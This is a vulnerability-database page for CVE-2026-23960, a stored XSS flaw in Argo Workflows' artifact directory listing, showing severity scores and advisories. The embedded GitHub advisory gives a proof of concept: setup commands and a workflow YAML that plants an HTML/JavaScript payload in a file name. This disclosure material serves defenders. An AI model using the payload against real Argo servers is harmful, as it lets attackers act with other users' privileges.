CVE-2026-23960

mediumpriority · track · 22EPSS 0.004 · 36 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.41% (36th) EPSS
CVSS 5.4 · medium
Is it mine?
11 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.3
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.4–7.3

v3.15.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:Nprimary · NVD / NIST USexploitability 2.3 · impact 2.7
v3.17.1highCVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:Hsecondaryexploitability 1.2 · impact 5.9
v4.07.3highCVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.07.3highCVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.04.4mediumCVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (11)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • GHSA-cv78-6m8q-ph82Argo Workflows affected by stored XSS in the artifact directory listing2026-01-21ghsa · osvUS

    ### Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. ### Details The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory. https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244 ### PoC 1. Deploy Argo Workflows: ``` kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres ``` 2. Port‑forward Argo Server: ``` kubectl -n argo port-forward deploy/argo-server 2746:2746 ``` 3. Create the PoC workflow: ```yml cat > /tmp/argo-xss.yaml <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html' outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF ``` ``` kubectl -n argo create -f /tmp/argo-xss.yaml ``` 4. Wait for completion: ``` kubectl -n argo get wf -w ``` 5. Get the node ID: ``` kubectl -n argo get wf <wf-name> \ -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}' ``` 6. Open the listing: `https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/` <img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" /> ### Impact - The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API. - The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running. As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may): - Read information about the victim’s workflows. - Create or delete workflows.

  • BIT-argo-workflows-2026-23960Argo Workflows affected by stored XSS in the artifact directory listing2026-01-26vendor · osvUS

    Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

  • GO-2026-4350Argo Workflows affected by stored XSS in the artifact directory listing in github.com/argoproj/argo-workflows2026-02-02vendor · osvUS

    Argo Workflows affected by stored XSS in the artifact directory listing in github.com/argoproj/argo-workflows

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-01-21modified 2026-07-15
08

references (19)

External citations — patches, advisories, analysis.

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